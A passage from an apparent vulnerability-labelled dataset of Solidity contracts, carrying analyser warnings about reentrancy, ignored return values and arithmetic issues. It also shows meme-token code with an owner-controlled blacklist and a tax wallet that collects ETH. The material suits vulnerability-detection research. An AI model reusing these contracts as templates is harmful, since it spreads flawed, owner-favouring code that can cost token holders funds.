rwTotalPercent.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: c77444a\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 4164860\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = router.WETH();\n\n _approve(address(this), address(router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 4164860\n\t\t// reentrancy-events | ID: 70fa835\n\t\t// reentrancy-benign | ID: 8aeae62\n\t\t// reentrancy-benign | ID: f3327ca\n\t\t// reentrancy-eth | ID: c77444a\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n receive() external payable {}\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 4164860\n\t\t// reentrancy-events | ID: 70fa835\n\t\t// reentrancy-eth | ID: c77444a\n _taxWallet.transfer(amount);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 04a229e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 04a229e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e75b501): ASI.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(router),type()(uint256).max)\n\t// Recommendation for e75b501: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a6f354b): ASI.enableTrading() ignores return value by router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for a6f354b: Ensure that all the return values of the function calls are used.\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n tradingOpen = true;\n\n router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n _approve(address(this), address(router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 04a229e\n uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(\n address(this),\n router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 04a229e\n\t\t// unused-return | ID: a6f354b\n router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 04a229e\n\t\t// unused-return | ID: e75b501\n IERC20(uniswapV2Pair).approve(address(router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 04a229e\n swapEnabled = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualSend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10095.sol",
"size_bytes": 21891,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract ERECTION is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 16ff810): ERECTION._taxWallet should be immutable \n\t// Recommendation for 16ff810: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4efeacd): ERECTION._initialBuyTax should be constant \n\t// Recommendation for 4efeacd: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9123527): ERECTION._initialSellTax should be constant \n\t// Recommendation for 9123527: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 21;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4403c96): ERECTION._reduceBuyTaxAt should be constant \n\t// Recommendation for 4403c96: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 28;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9ddf40e): ERECTION._reduceSellTaxAt should be constant \n\t// Recommendation for 9ddf40e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 28;\n\n\t// WARNING Optimization Issue (constable-states | ID: 564c992): ERECTION._preventSwapBefore should be constant \n\t// Recommendation for 564c992: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 28;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Erection 2024\";\n\n string private constant _symbol = unicode\"ERECTION\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 83c51e8): ERECTION._taxSwapThreshold should be constant \n\t// Recommendation for 83c51e8: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1100000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 159971b): ERECTION._maxTaxSwap should be constant \n\t// Recommendation for 159971b: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 11000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x6822cb4512760E4E77982a8590623C720e96b7B9);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c9ea63a): ERECTION.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for c9ea63a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b92f3de): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b92f3de: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: beefb54): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for beefb54: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: b92f3de\n\t\t// reentrancy-benign | ID: beefb54\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: b92f3de\n\t\t// reentrancy-benign | ID: beefb54\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4a720fc): ERECTION._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4a720fc: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: beefb54\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: b92f3de\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 178957b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 178957b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7f5e768): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7f5e768: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 178957b\n\t\t\t\t// reentrancy-eth | ID: 7f5e768\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 178957b\n\t\t\t\t\t// reentrancy-eth | ID: 7f5e768\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 7f5e768\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 7f5e768\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 7f5e768\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 178957b\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 7f5e768\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 7f5e768\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 178957b\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 178957b\n\t\t// reentrancy-events | ID: b92f3de\n\t\t// reentrancy-benign | ID: beefb54\n\t\t// reentrancy-eth | ID: 7f5e768\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 178957b\n\t\t// reentrancy-events | ID: b92f3de\n\t\t// reentrancy-eth | ID: 7f5e768\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9107d3f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9107d3f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ba1fe00): ERECTION.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for ba1fe00: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3b37b0f): ERECTION.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 3b37b0f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 99917d6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 99917d6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 9107d3f\n\t\t// reentrancy-eth | ID: 99917d6\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 9107d3f\n\t\t// unused-return | ID: 3b37b0f\n\t\t// reentrancy-eth | ID: 99917d6\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 9107d3f\n\t\t// unused-return | ID: ba1fe00\n\t\t// reentrancy-eth | ID: 99917d6\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 9107d3f\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 99917d6\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10096.sol",
"size_bytes": 19909,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Nonces {\n error InvalidAccountNonce(address account, uint256 currentNonce);\n\n mapping(address account => uint256) private _nonces;\n\n function nonces(address owner) public view virtual returns (uint256) {\n return _nonces[owner];\n }\n\n function _useNonce(address owner) internal virtual returns (uint256) {\n unchecked {\n return _nonces[owner]++;\n }\n }\n\n function _useCheckedNonce(address owner, uint256 nonce) internal virtual {\n uint256 current = _useNonce(owner);\n\n if (nonce != current) {\n revert InvalidAccountNonce(owner, current);\n }\n }\n}\n\ninterface IERC5267 {\n event EIP712DomainChanged();\n\n function eip712Domain()\n external\n view\n returns (\n bytes1 fields,\n string memory name,\n string memory version,\n uint256 chainId,\n address verifyingContract,\n bytes32 salt,\n uint256[] memory extensions\n );\n}\n\nlibrary StorageSlot {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n struct StringSlot {\n string value;\n }\n\n struct BytesSlot {\n bytes value;\n }\n\n function getAddressSlot(\n bytes32 slot\n ) internal pure returns (AddressSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBooleanSlot(\n bytes32 slot\n ) internal pure returns (BooleanSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBytes32Slot(\n bytes32 slot\n ) internal pure returns (Bytes32Slot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getUint256Slot(\n bytes32 slot\n ) internal pure returns (Uint256Slot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getStringSlot(\n bytes32 slot\n ) internal pure returns (StringSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getStringSlot(\n string storage store\n ) internal pure returns (StringSlot storage r) {\n assembly {\n r.slot := store.slot\n }\n }\n\n function getBytesSlot(\n bytes32 slot\n ) internal pure returns (BytesSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBytesSlot(\n bytes storage store\n ) internal pure returns (BytesSlot storage r) {\n assembly {\n r.slot := store.slot\n }\n }\n}\n\ntype ShortString is bytes32;\n\nlibrary ShortStrings {\n bytes32 private constant FALLBACK_SENTINEL =\n 0x00000000000000000000000000000000000000000000000000000000000000FF;\n\n error StringTooLong(string str);\n\n error InvalidShortString();\n\n function toShortString(\n string memory str\n ) internal pure returns (ShortString) {\n bytes memory bstr = bytes(str);\n\n if (bstr.length > 31) {\n revert StringTooLong(str);\n }\n\n return ShortString.wrap(bytes32(uint256(bytes32(bstr)) | bstr.length));\n }\n\n function toString(ShortString sstr) internal pure returns (string memory) {\n uint256 len = byteLength(sstr);\n\n string memory str = new string(32);\n\n assembly {\n mstore(str, len)\n\n mstore(add(str, 0x20), sstr)\n }\n\n return str;\n }\n\n function byteLength(ShortString sstr) internal pure returns (uint256) {\n uint256 result = uint256(ShortString.unwrap(sstr)) & 0xFF;\n\n if (result > 31) {\n revert InvalidShortString();\n }\n\n return result;\n }\n\n function toShortStringWithFallback(\n string memory value,\n string storage store\n ) internal returns (ShortString) {\n if (bytes(value).length < 32) {\n return toShortString(value);\n } else {\n StorageSlot.getStringSlot(store).value = value;\n\n return ShortString.wrap(FALLBACK_SENTINEL);\n }\n }\n\n function toStringWithFallback(\n ShortString value,\n string storage store\n ) internal pure returns (string memory) {\n if (ShortString.unwrap(value) != FALLBACK_SENTINEL) {\n return toString(value);\n } else {\n return store;\n }\n }\n\n function byteLengthWithFallback(\n ShortString value,\n string storage store\n ) internal view returns (uint256) {\n if (ShortString.unwrap(value) != FALLBACK_SENTINEL) {\n return byteLength(value);\n } else {\n return bytes(store).length;\n }\n }\n}\n\nlibrary SignedMath {\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n function average(int256 a, int256 b) internal pure returns (int256) {\n int256 x = (a & b) + ((a ^ b) >> 1);\n\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n\nlibrary Math {\n error MathOverflowedMulDiv();\n\n enum Rounding {\n Floor,\n Ceil,\n Trunc,\n Expand\n }\n\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a & b) + (a ^ b) / 2;\n }\n\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n if (b == 0) {\n return a / b;\n }\n\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: f8de658): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for f8de658: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 31a543d): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 31a543d: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: fa62ba4): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division prod0 = prod0 / twos result = prod0 * inverse\n\t// Recommendation for fa62ba4: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 78e21d8): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 78e21d8: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 1c5eb4a): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 1c5eb4a: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: ce4afc9): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for ce4afc9: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 0fd8c97): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse = (3 * denominator) ^ 2\n\t// Recommendation for 0fd8c97: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 8f5cf24): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 8f5cf24: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (incorrect-exp | severity: High | ID: 4ba1bdd): Math.mulDiv(uint256,uint256,uint256) has bitwisexor operator ^ instead of the exponentiation operator ** inverse = (3 * denominator) ^ 2\n\t// Recommendation for 4ba1bdd: Use the correct operator '**' for exponentiation.\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n unchecked {\n uint256 prod0 = x * y;\n\n uint256 prod1;\n\n assembly {\n let mm := mulmod(x, y, not(0))\n\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n if (prod1 == 0) {\n return prod0 / denominator;\n }\n\n if (denominator <= prod1) {\n revert MathOverflowedMulDiv();\n }\n\n uint256 remainder;\n\n assembly {\n remainder := mulmod(x, y, denominator)\n\n prod1 := sub(prod1, gt(remainder, prod0))\n\n prod0 := sub(prod0, remainder)\n }\n\n uint256 twos = denominator & (0 - denominator);\n\n assembly {\n\t\t\t\t// divide-before-multiply | ID: f8de658\n\t\t\t\t// divide-before-multiply | ID: 31a543d\n\t\t\t\t// divide-before-multiply | ID: 78e21d8\n\t\t\t\t// divide-before-multiply | ID: 1c5eb4a\n\t\t\t\t// divide-before-multiply | ID: ce4afc9\n\t\t\t\t// divide-before-multiply | ID: 0fd8c97\n\t\t\t\t// divide-before-multiply | ID: 8f5cf24\n denominator := div(denominator, twos)\n\n\t\t\t\t// divide-before-multiply | ID: fa62ba4\n prod0 := div(prod0, twos)\n\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n prod0 |= prod1 * twos;\n\n\t\t\t// divide-before-multiply | ID: 0fd8c97\n\t\t\t// incorrect-exp | 